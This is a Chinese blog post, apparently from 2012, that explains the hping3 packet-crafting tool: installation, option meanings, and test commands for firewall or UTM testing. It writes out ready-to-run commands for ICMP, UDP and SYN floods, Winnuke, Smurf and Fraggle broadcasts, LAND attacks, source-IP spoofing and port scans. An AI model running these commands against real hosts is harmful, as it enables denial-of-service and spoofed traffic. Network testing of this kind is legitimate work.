配色: 字号:
hping3使用手册及测试注意事项
2012-07-12 | 阅:  转:  |  分享 
  
Hping3使用手册
简介
Hping3是一个命令行下使用的TCP/IP数据包组装/分析工具,其命令模式很像Unix下的ping命令,但是它不是只能发送ICMP回应请求,它还可以支持TCP、UDP、ICMP和RAW-IP协议,它有一个路由跟踪模式,能够在两个相互包含的通道之间传送文件。Hping3常被用于检测网络和主机,其功能非常强大,可在多种操作系统下运行,如Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOsX,Windows。
Hping3的主要功能有:
防火墙测试
实用的端口扫描
网络监测,可以用不同的协议、服务类型(TOS)、IP分片)
手工探测MTU(最大传输单元)路径
先进的路由跟踪,支持所有的协议
远程操作系统探测
远程的运行时间探测
TCP/IP堆栈审计
这里我使用的是linux系统下的hping3,安装方法如下。
安装环境
Linux系统
GCC
Libcap-dev
Tcl-dev
三.安装步骤
#tar-zxvfhping3-200541105.tar.gz-C/usr/local/src#cd/usr/include/net#ln-s../pcap-bpf.hbpf.h#cd/usr/local/src/hping3-20051105#./configure#make#makeinstall
四.主要参数说明
Hping3参数,可以用Hping-h来查看?-c--countcount发送数据包的次数-i--interval发送包的间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到?--fast每秒发10个数据包,似乎可用作dos攻击?
--faster每秒发100个数据包
--flood以最大速度发送数据包-I--interfaceinterfacename指定接口以下是协议选择项?-0--rawipRAWIP模式,在此模式下,Hping会发送带数据的IP头
-1--icmpICMP模式,此模式下,Hping会发送ICMP应答报文,可以用--ICMPTYPE--ICMPCODE选项发送其他类型/模式的ICMP报文?-2--udpUDP模式,缺省下,HPING会发送UDP报文到主机的0端口,可以用--baseport--destport--keep选项指定其模式?
-8端口扫描模式以下是有关IP的选项?-a--spoofhostname伪造IP攻击,防火墙就不会记录真实IP,回应的包也接收不到了,比如,你是192.168.3.1伪装成192.168.3.2发包给192.168.3.3,192.168.3.3的防火墙会记录192.168.3.2发包记录,但是192.168.3.3的回应也会发回192.168.3.2,而你却接收不到192.168.3.3的回答包的-F--FRAG更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的''virtualmtu''是16字节,?-x--morefrag此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务?-y--dontfrag发送不可恢复的IP碎片,这可以了解更多的MTUPATHDISCOVERY?-G--fragofffragmentoffsetvaluesetthefragmentoffset?记录IP路由,并显示路由缓冲-C--ICMPTYPETYPE指定ICMP类型,缺省是ICMPECHOREQUEST?-K--ICMPCODECODE指定ICMP代号,缺省0?--icmp-ipver把IP版本也插入IP头,?--icmp-iphlen设置IP头的长度,缺省为5(32字节)?--icmp-iplen设置IP包长度?--icmp-ipid设置ICMP报文IP头的ID,缺省是RANDOM?--icmp-ipproto设置协议的,缺省是TCP?-icmp-cksum设置校验和的,没什么的?-icmp-tsAliasfor--icmptype13(tosendICMPtimestamprequests)?ICMP时间戳--icmp-addrAliasfor--icmptype17(tosendICMPaddressmaskrequests)?ICMP子网地址TCP/UDP选项?-s--baseport设置发包的源端口,没法送一个包,源端口加一,默认是随即的,可以用-K--KEEP可以使端口不会增加,每次的基本端口是随意的?-p--deskport[+][+]deskport设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加2-b--badcksum发出一个错误校验和的UDP/TCP包??-F--finsetFINtcpflag?发送FIN包-S--synsetSYNtcpflag.?发送SYN包-R--rstsetRSTtcpflag.?发送RST包-P--pushsetPUSHtcpflag.?发送PUSH包-A--acksetACKtcpflag.?发送ACK包-U--urgsetURGtcpflag.?发送URG包其他:?-d--datadatasize设置包大小,指定DATA为40时,输出如下:?HPING?HYPERLINK"http://www.site.com/"\t"_blank"www.site.com?(ppp0204.71.200.67):NOFLAGSareset,40headers+40databytes?-E--filefilename指定包内容如FILENAME里的一样?
Hping3默认使用的TCP协议包,不设置任何的flag,发送到目标的0端口,协议和flag以及端口都可以自己设定。
五.测试实例及注意事项
Hping3测试实例:
向目标发送数据包,比如发送两个数据包
#hping3–c2192.168.0.7
ICMP洪水攻击
#hping3--flood192.168.0.7-1
注意事项:hping3默认使用的tcp协议,因此在发送其他协议洪水攻击时要将该协议的参数,如“-1ICMP;-2UDP”加入命令
UDP洪水攻击
#hping3--flood192.168.0.1-2
SYN洪水攻击
#hping3--flood192.168.0.1–S
注意事项:洪水攻击命令“--flood”在使用的时候最好不要开启过多进程,以免自己的机子死机。
Winnuke攻击
#hping3–U192.168.0.1–p139
注意事项:winnuke攻击的端口不仅是139端口,还有“138、137、113、53”等端口,因此在测试时要注意将所有端口都覆盖到,关键一点是winnuke攻击特征为“flag=URG”,因此不能以端口为特征来检测。
端口扫描
#hping3-8all–S192.168.0.7
注意:其中-S是利用SYN包进行扫描,也可以使用-2UDP形式进行扫描;-8是端口扫描模式,all是扫描所有的端口,如果要扫描1-1024端口的话则命令为:
#hping3-81-1024–S192.168.0.7
IP地址欺骗攻击
#hping3–a222.222.222.222192.168.0.7则在192.168.0.7端抓到得包的源地址为222.222.222.222
注意:-a参数后接着的地址为需要隐藏的源地址,-a与欺骗地址之间不可以添加任何参数或其他。
IP分片
#hping3192.168.0.7-S–p80-f
IP选项
#hping3–G–rroute192.168.0.1在IP头中加入路由选项信息
Smurf或者Fraggle攻击
注意:smurf攻击有两种,一种是简单的发送信息到被攻击地址的广播地址,如:
#hping3-1192.168.0.255
第二种为复杂点的攻击,即伪装成被攻击的地址发送信息到被攻击地址的广播地址,如:
#hping3-1–a192.168.0.1192.168.0.255
Fraggle攻击即由smurf的ICMP协议的攻击改为由UDP协议的攻击,因此只需要修改一个参数即可,将“-1”改为“-2”(我们UTM实现的是典型端口7模式,即:hping3-2192.168.0.255–p7)
LAND攻击
#hping3–S–a192.168.0.7–p21192.168.0.7
注意:Land攻击即是伪装成被攻击地址发送请求信息给被攻击地址本身;
TCP选项异常
注意:TCP选项异常有多种情况,需要全部考虑
SYN包被分片
#hping3–S192.168.0.1-f
TCP包仅设置了FINflag
#hping3–F192.168.0.1
TCP包没有设置任何flag
#hping3192.168.0.1
TCP包的FIN和RSTflag同时被设置
#hping3–F–R192.168.0.1这里-F和-R两个参数的顺序没有关系
TCP包的SYN和URGflag同时被设置
#hping3–S–U192.168.0.1
TCP包的SYN和RSTflag同时被设置
#hping3–S–R192.168.0.1
TCP包的SYN和FINflag同时被设置
#hping3–S–F192.168.0.1
Packetswithsignatures对数据包签名
#cat/root/signature.sig
#hping-2–p7192.168.0.7–d50–E/root/signature.sig

以上是我在使用hping3过程中所了解的,如果大家在使用中有什么好的看法或者使用方法,请告知一下,并且欢迎来找我交流。

Hping的缺点是不能修改发送包的MAC地址,因此在做地址欺骗的时候,IP地址虽然改变了,但是MAC地址并没有改变,还是本机的MAC地址。
献花(0)
+1
(本文系观命斋首藏)